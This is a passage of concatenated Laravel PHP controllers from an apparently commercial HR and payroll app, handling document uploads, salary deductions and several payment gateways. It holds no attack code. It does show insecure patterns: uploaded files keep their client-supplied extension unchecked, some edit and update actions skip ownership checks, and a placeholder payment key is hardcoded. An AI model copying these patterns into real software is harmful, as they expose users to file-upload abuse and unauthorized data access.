implode(',', $errorData->toArray()); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } } Http/Controllers/DocumentController.php000064400000010420150364306410014323 0ustar00can('Manage Document Type')) { $documents = Document::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('document.index', compact('documents')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Document Type')) { return view('document.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Document Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', 'is_required' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $document = new Document(); $document->name = $request->name; $document->is_required = $request->is_required; $document->created_by = \Auth::user()->creatorId(); $document->save(); return redirect()->route('document.index')->with('success', __('Document type successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Document $document) { return redirect()->route('document.index'); } public function edit(Document $document) { if(\Auth::user()->can('Edit Document Type')) { if($document->created_by == \Auth::user()->creatorId()) { return view('document.edit', compact('document')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Document $document) { if(\Auth::user()->can('Edit Document Type')) { if($document->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $document->name = $request->name; $document->is_required = $request->is_required; $document->save(); return redirect()->route('document.index')->with('success', __('Document type successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Document $document) { if(\Auth::user()->can('Delete Document Type')) { if($document->created_by == \Auth::user()->creatorId()) { $document->delete(); return redirect()->route('document.index')->with('success', __('Document type successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/DucumentUploadController.php000064400000020136150364306410015503 0ustar00can('Manage Document')) { if (\Auth::user()->type == 'company') { $documents = DucumentUpload::where('created_by', \Auth::user()->creatorId())->get(); } else { $userRole = \Auth::user()->roles->first(); $documents = DucumentUpload::whereIn( 'role', [ $userRole->id, 0, ] )->where('created_by', \Auth::user()->creatorId())->get(); } return view('documentUpload.index', compact('documents')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Document')) { $roles = Role::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $roles->prepend('All', '0'); return view('documentUpload.create', compact('roles')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Document')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'role' => 'required', 'documents' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $roles = $request->role; $document = new DucumentUpload(); $document->name = $request->name; $document->role = $request->role; $document->description = $request->description; $document->created_by = \Auth::user()->creatorId(); if (!empty($request->documents)) { $image_size = $request->file('documents')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('documents')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('documents')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/documentUpload/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'documents', $fileNameToStore, $dir, []); $document->document = !empty($request->documents) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $document->save(); // return redirect()->route('document-upload.index')->with('success', __('Document successfully uploaded.')); return redirect()->route('document-upload.index')->with('success', __('Document successfully uploaded.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(DucumentUpload $ducumentUpload) { // } public function edit($id) { if (\Auth::user()->can('Edit Document')) { $roles = Role::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $roles->prepend('All', '0'); $ducumentUpload = DucumentUpload::find($id); return view('documentUpload.edit', compact('roles', 'ducumentUpload')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $id) { if (\Auth::user()->can('Edit Document')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'documents' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $roles = $request->role; $document = DucumentUpload::find($id); $document->name = $request->name; $document->role = $request->role; $document->description = $request->description; if (!empty($request->documents)) { //storage limit $dir = 'uploads/documentUpload/'; $file_path = $dir . $document->document; $image_size = $request->file('documents')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); $filenameWithExt = $request->file('documents')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('documents')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/documentUpload/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'documents', $fileNameToStore, $dir, []); $document->document = !empty($request->documents) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $document->save(); // return redirect()->route('document-upload.index')->with('success', __('Document successfully uploaded.')); return redirect()->route('document-upload.index')->with('success', __('Document successfully uploaded.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if (\Auth::user()->can('Delete Document')) { $document = DucumentUpload::find($id); if ($document->created_by == \Auth::user()->creatorId()) { $document->delete(); if (!empty($document->document)) { // $dir = storage_path('uploads/documentUpload/'); //storage limit $file_path = 'uploads/documentUpload/' . $document->document; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); // unlink($dir . $document->document); } return redirect()->route('document-upload.index')->with('success', __('Document successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PaymentWallPaymentController.php000064400000020405150364306410016344 0ustar00all(); $admin_payment_setting = Utility::getAdminPaymentSetting(); return view('plan.paymentwall', compact('data', 'admin_payment_setting')); } public function paymentConfig($user) { if (Auth::check()) { $user = Auth::user(); } if ($user->type == 'company') { $payment_setting = Utility::getAdminPaymentSetting(); } else { $payment_setting = Utility::getCompanyPaymentSetting(); } $this->secret_key = isset($payment_setting['paymentwall_private_key ']) ? $payment_setting['paymentwall_private_key '] : ''; $this->public_key = isset($payment_setting['paymentwall_public_key']) ? $payment_setting['paymentwall_public_key'] : ''; $this->is_enabled = isset($payment_setting['is_paymentwall_enabled']) ? $payment_setting['is_paymentwall_enabled'] : 'off'; return $this; } public function paymenterror($flag, Request $request) { if ($flag == 1) { return redirect()->route("plans.index")->with('error', __('Transaction has been Successfull! ')); } else { return redirect()->route("plans.index")->with('error', __('Transaction has been failed!')); } } public function planPayWithPaymentwall(Request $request, $plan_id) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupon_id = ''; if ($plan) { $price = $plan->price; if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'usd', 'txn_id' => '', 'payment_type' => __('Flutterwave'), 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $res['msg'] = __("Plan successfully upgraded."); $res['flag'] = 2; return $res; } } else $orderID = time(); { \Paymentwall_Config::getInstance()->set(array( 'private_key' => 'sdrsefrszdef' )); $parameters = $request->all(); $chargeInfo = array( 'email' => $parameters['email'], 'history[registration_date]' => '1489655092', 'amount' => $price, 'currency' => !empty($this->currancy) ? $this->currancy : 'USD', 'token' => $parameters['brick_token'], 'fingerprint' => $parameters['brick_fingerprint'], 'description' => 'Order #123' ); $charge = new \Paymentwall_Charge(); $charge->create($chargeInfo); $responseData = json_decode($charge->getRawResponseData(), true); $response = $charge->getPublicData(); if ($charge->isSuccessful() and empty($responseData['secure'])) { if ($charge->isCaptured()) { if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::find($request->coupon); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $orderID = time(); $order = new Order(); $order->order_id = $orderID; $order->name = $authuser->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = isset($paydata['amount']) ? $paydata['amount'] : $price; $order->price_currency = $this->currancy; $order->txn_id = isset($paydata['txid']) ? $paydata['txid'] : 0; $order->payment_type = __('PaymentWall'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $authuser->id; $order->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success']) { $res['msg'] = __("Plan successfully upgraded."); $res['flag'] = 1; return $res; } } elseif ($charge->isUnderReview()) { // decide on risk charge } } elseif (!empty($responseData['secure'])) { $response = json_encode(array('secure' => $responseData['secure'])); } else { $errors = json_decode($response, true); $res['flag'] = 2; return $res; } echo $response; } } } } Http/Controllers/SaturationDeductionController.php000064400000013600150364306410016540 0ustar00creatorId())->get()->pluck('name', 'id'); $saturationdeduc = SaturationDeduction::$saturationDeductiontype; return view('saturationdeduction.create', compact('employee', 'deduction_options','saturationdeduc')); } public function store(Request $request) { if(\Auth::user()->can('Create Saturation Deduction')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'deduction_option' => 'required', 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $saturationdeduction = new SaturationDeduction; $saturationdeduction->employee_id = $request->employee_id; $saturationdeduction->deduction_option = $request->deduction_option; $saturationdeduction->title = $request->title; $saturationdeduction->type = $request->type; $saturationdeduction->amount = $request->amount; $saturationdeduction->created_by = \Auth::user()->creatorId(); $saturationdeduction->save(); if($saturationdeduction->type == 'percentage') { $employee = Employee::find($saturationdeduction->employee_id); $saturationdeductionsal = $saturationdeduction->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('SaturationDeduction successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(SaturationDeduction $saturationdeduction) { return redirect()->route('commision.index'); } public function edit($saturationdeduction) { $saturationdeduction = SaturationDeduction::find($saturationdeduction); if(\Auth::user()->can('Edit Saturation Deduction')) { if($saturationdeduction->created_by == \Auth::user()->creatorId()) { $deduction_options = DeductionOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $saturationdeduc = SaturationDeduction::$saturationDeductiontype; return view('saturationdeduction.edit', compact('saturationdeduction', 'deduction_options','saturationdeduc')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, SaturationDeduction $saturationdeduction) { if(\Auth::user()->can('Edit Saturation Deduction')) { if($saturationdeduction->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'deduction_option' => 'required', 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $saturationdeduction->deduction_option = $request->deduction_option; $saturationdeduction->title = $request->title; $saturationdeduction->type = $request->type; $saturationdeduction->amount = $request->amount; $saturationdeduction->save(); if($saturationdeduction->type == 'percentage') { $employee = Employee::find($saturationdeduction->employee_id); $saturationdeductionsal = $saturationdeduction->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('SaturationDeduction successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(SaturationDeduction $saturationdeduction) { if(\Auth::user()->can('Delete Saturation Deduction')) { if($saturationdeduction->created_by == \Auth::user()->creatorId()) { $saturationdeduction->delete(); return redirect()->back()->with('success', __('SaturationDeduction successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/ToyyibpayPaymentController.php000064400000027106150364306410016105 0ustar00secretKey = isset($admin_payment_setting['toyyibpay_secret_key']) ? $admin_payment_setting['toyyibpay_secret_key'] : ''; $this->categoryCode = isset($admin_payment_setting['toyyibpay_category_code']) ? $admin_payment_setting['toyyibpay_category_code'] : ''; $this->is_enabled = isset($admin_payment_setting['is_toyyibpay_enabled']) ? $admin_payment_setting['is_toyyibpay_enabled'] : ''; } public function charge(Request $request) { try { $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $admin_payment_setting = Utility::getAdminPaymentSetting(); $plan = Plan::find($planID); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($get_amount <= 0) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = auth()->user(); $statuses = 'success'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $get_amount; $order->price_currency = $admin_payment_setting['currency']; $order->payment_type = __('Toyyibpay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $this->callBackUrl = route('plan.toyyibpay', [$plan->id, $get_amount, $coupon]); $this->returnUrl = route('plan.toyyibpay', [$plan->id, $get_amount, $coupon]); $Date = date('d-m-Y'); $ammount = $get_amount; $billName = $plan->name; $description = $plan->name; $billExpiryDays = 3; $billExpiryDate = date('d-m-Y', strtotime($Date . ' + 3 days')); $billContentEmail = "Thank you for purchasing our product!"; $some_data = array( 'userSecretKey' => $this->secretKey, 'categoryCode' => $this->categoryCode, 'billName' => $billName, 'billDescription' => $description, 'billPriceSetting' => 1, 'billPayorInfo' => 1, 'billAmount' => 100 * $ammount, 'billReturnUrl' => $this->returnUrl, 'billCallbackUrl' => $this->callBackUrl, 'billExternalReferenceNo' => 'AFR341DFI', 'billTo' => \Auth::user()->name, 'billEmail' => \Auth::user()->email, 'billPhone' => '0000000000', 'billSplitPayment' => 0, 'billSplitPaymentArgs' => '', 'billPaymentChannel' => '0', 'billContentEmail' => $billContentEmail, 'billChargeToCustomer' => 1, 'billExpiryDate' => $billExpiryDate, 'billExpiryDays' => $billExpiryDays ); $curl = curl_init(); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_URL, 'https://toyyibpay.com/index.php/api/createBill'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $some_data); $result = curl_exec($curl); $info = curl_getinfo($curl); curl_close($curl); $obj = json_decode($result); return redirect('https://toyyibpay.com/' . $obj[0]->BillCode); } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } catch (Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } public function status(Request $request, $planId, $getAmount, $couponCode) { $admin_payment_setting = Utility::getAdminPaymentSetting(); if ($couponCode != 0) { $coupons = Coupon::where('code', strtoupper($couponCode))->where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } $plan = Plan::find($planId); $user = auth()->user(); // $request['status_id'] = 1; // 1=success, 2=pending, 3=fail try { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if ($request->status_id == 3) { $statuses = 'Fail'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $admin_payment_setting['currency']; $order->payment_type = __('Toyyibpay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); return redirect()->route('plans.index')->with('error', __('Your Transaction is fail please try again')); } else if ($request->status_id == 2) { $statuses = 'pandding'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $admin_payment_setting['currency']; $order->payment_type = __('Toyyibpay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); return redirect()->route('plans.index')->with('success', __('Your transaction on pandding')); } else if ($request->status_id == 1) { Utility::referralTransaction($plan); $statuses = 'success'; $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $admin_payment_setting['currency']; $order->payment_type = __('Toyyibpay'); $order->payment_status = $statuses; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } catch (Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } } Http/Controllers/PaystackPaymentController.php000064400000021635150364306410015674 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); $this->secret_key = isset($admin_payment_setting['paystack_secret_key']) ? $admin_payment_setting['paystack_secret_key'] : ''; $this->public_key = isset($admin_payment_setting['paystack_public_key']) ? $admin_payment_setting['paystack_public_key'] : ''; $this->is_enabled = isset($admin_payment_setting['is_paystack_enabled']) ? $admin_payment_setting['is_paystack_enabled'] : 'off'; return $this; } } public function planPayWithPaystack(Request $request) { $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $admin_payment_setting = Utility::getAdminPaymentSetting(); $plan = Plan::find($planID); $authuser = \Auth::user(); $coupon_id = ''; if ($plan) { $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $price = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $coupon_id = $coupons->id; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'NGN', 'txn_id' => '', 'payment_type' => 'Paystack', 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $res['msg'] = __("Plan successfully upgraded."); $res['flag'] = 2; return $res; } else { return redirect()->route('plans.index')->with('error', __('Plan fail to upgrade.')); } } $res_data['email'] = \Auth::user()->email; $res_data['total_price'] = $price; $res_data['currency'] = $admin_payment_setting['currency']; $res_data['flag'] = 1; $res_data['coupon'] = $coupon_id; return $res_data; } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function getPaymentStatus(Request $request, $pay_id, $plan) { $payment = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = Auth::user(); $result = array(); if ($plan) { try { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); //The parameter after verify/ is the transaction reference to be verified $url = "https://api.paystack.co/transaction/verify/$pay_id"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt( $ch, CURLOPT_HTTPHEADER, [ 'Authorization: Bearer ' . $payment->secret_key, ] ); $responce = curl_exec($ch); curl_close($ch); if ($responce) { $result = json_decode($responce, true); } if (isset($result['status']) && $result['status'] == true) { $status = $result['data']['status']; if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $result['data']['amount'] / 100; $order->price_currency = !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'NGN'; $order->txn_id = $pay_id; $order->payment_type = __('Paystack'); $order->payment_status = $result['data']['status']; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', $assignPlan['error']); } } else { return redirect()->back()->with('error', __('Transaction Unsuccesfull')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Transaction has been failed.')); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } } Http/Controllers/LandingPageSectionController.php000064400000076720150364306410016262 0ustar00type == 'super admin') { $get_section = LandingPageSection::orderBy('section_order', 'ASC')->get(); return view('custom_landing_page.index', compact('get_section')); } return redirect()->back()->with('error', 'Permission denied.'); } public function setConetent(Request $request) { if(\Auth::user()->type == 'super admin') { $id = $request->id; $section_type = $request->section_type; $menu_name = $request->menu_name; $text_value = $request->text_value; $image = $request->image; $logo = $request->logo; $button = $request->button; $section_order = $request->section_order; $image_array = $request->image_array; $system_page_id = $request->system_page_id; $system_element_id = $request->system_element_id; $content_type = $request->content_type; $system_new_tab = $request->system_new_tab; $custom_class_name = $request->custom_class_name; $get_section = LandingPageSection::where(['id' => $id])->first(); if(!is_null($get_section)) { if($get_section->section_type == "section-plan") { $content = $get_section->default_content; } else { $data = []; if($get_section->content == "" || $get_section->content == null) { $get_content = $get_section->default_content; } else { $get_content = $get_section->content; } $decode_content = json_decode($get_content); foreach($decode_content as $key => $value) { if($key == "custom_class_name") { $data['custom_class_name'] = $custom_class_name; } if($key == "logo") { if($request->hasFile('logo')) { $ext = $logo->getClientOriginalExtension(); $fileName = 'logo_' . time() . rand() . '.' . $ext; $request->file('logo')->storeAs('uploads/custom_landing_page_image', $fileName); $data['logo'] = $fileName; } else { $data['logo'] = $value; } } else if($key == "image") { if($request->hasFile('image')) { $ext = $image->getClientOriginalExtension(); $fileName = 'image_' . time() . rand() . '.' . $ext; $request->file('image')->storeAs('uploads/custom_landing_page_image', $fileName); $data['image'] = $fileName; } else { $data['image'] = $value; } } else if($key == "button") { if(!is_null($button)) { foreach($button as $text_key => $text_val) { if($text_key == "text") { $btn_data['text'] = $text_val; $data['button'] = $btn_data; } else if($text_key == "href") { $btn_data['href'] = $text_val; $data['button'] = $btn_data; } } } else { $data['button'] = $value; } } else if($key == "menu") { if(!is_null($menu_name)) { foreach($menu_name as $menu_key => $menu_value) { $menu_data['menu'] = $menu_value['text']; $menu_data['href'] = $menu_value['href']; $data['menu'][] = $menu_data; } } else { $data['menu'] = $value; } } else if($key == "text") { if(!is_null($text_value)) { $no = 1; foreach($text_value as $text_key => $text_val) { $text_data['text-' . $no] = $text_val; $data['text'] = $text_data; $no++; } } else { $data['text'] = $value; } } else if($key == "image_array") { $no = 1; if(!is_null($image_array)) { foreach($image_array as $image_array_key => $image_array_val) { foreach($value as $val_key => $val_data) { if($val_data->id == $image_array_key) { $ext = $image_array_val->getClientOriginalExtension(); $fileName = 'logo_' . $no . '_' . time() . rand() . '.' . $ext; $image_array_val->storeAs('uploads/custom_landing_page_image', $fileName); $val_data->image = $fileName; } } } $data['image_array'] = $value; } else { $data['image_array'] = $value; } } else if($key == "system") { if($content_type == "new_tab") { $sys_data['id'] = count($value) + 1; $sys_data['name'] = $system_new_tab; $sys_data['data'] = []; $value[] = $sys_data; $data['system'] = $value; } else if($content_type == "update_tab_content") { $system_data = []; foreach($value as $key => $sys_value) { $system_inner_data = []; if($sys_value->id == $system_element_id) { foreach($sys_value->data as $data_key => $data_value) { if($data_value->data_id == $system_page_id) { $no = 1; $data_text = []; foreach($text_value as $text_key => $text_val) { $data_text['text_' . $no] = $text_val; $no++; } $data_value->text = $data_text; $data_value->button->text = $button['text']; $data_value->button->href = $button['href']; if($request->hasFile('image')) { $ext = $image->getClientOriginalExtension(); $fileName = 'image_' . time() . rand() . '.' . $ext; $request->file('image')->storeAs('uploads/custom_landing_page_image', $fileName); $data_value->image = $fileName; } } $system_inner_data[] = $data_value; } $sys_value->data = $system_inner_data; $system_data[] = $sys_value; } else { $system_data[] = $sys_value; } $data['system'] = $system_data; } } else if($content_type == "new_tab_content") { $system_inner_data = []; foreach($value as $key => $sys_value) { if($sys_value->id == $system_element_id) { $no = 1; $data_text = []; foreach($text_value as $text_key => $text_val) { $data_text['text_' . $no] = $text_val; $no++; } $data_value['data_id'] = count($sys_value->data) + 1; $data_value['text'] = $data_text; $data_value['button']['text'] = $button['text']; $data_value['button']['href'] = $button['href']; if($request->hasFile('image')) { $ext = $image->getClientOriginalExtension(); $fileName = 'image_' . time() . rand() . '.' . $ext; $request->file('image')->storeAs('uploads/custom_landing_page_image', $fileName); $data_value['image'] = $fileName; } /*$system_inner_data[] = $data_value;*/ $sys_value->data[] = $data_value; } $system_inner_data[] = $sys_value; } $data['system'] = $system_inner_data; } else if($content_type == "remove_element") { foreach($value as $key => $sys_value) { if($sys_value->id == $system_element_id) { } else { $system_data[] = $sys_value; } $data['system'] = $system_data; } } else if($content_type == "remove_element_data") { $system_data = []; foreach($value as $key => $sys_value) { $system_inner_data = []; if($sys_value->id == $system_element_id) { foreach($sys_value->data as $data_key => $data_value) { if($data_value->data_id == $system_page_id) { } else { $system_inner_data[] = $data_value; } } $sys_value->data = $system_inner_data; $system_data[] = $sys_value; } else { $system_data[] = $sys_value; } $data['system'] = $system_data; } } else { 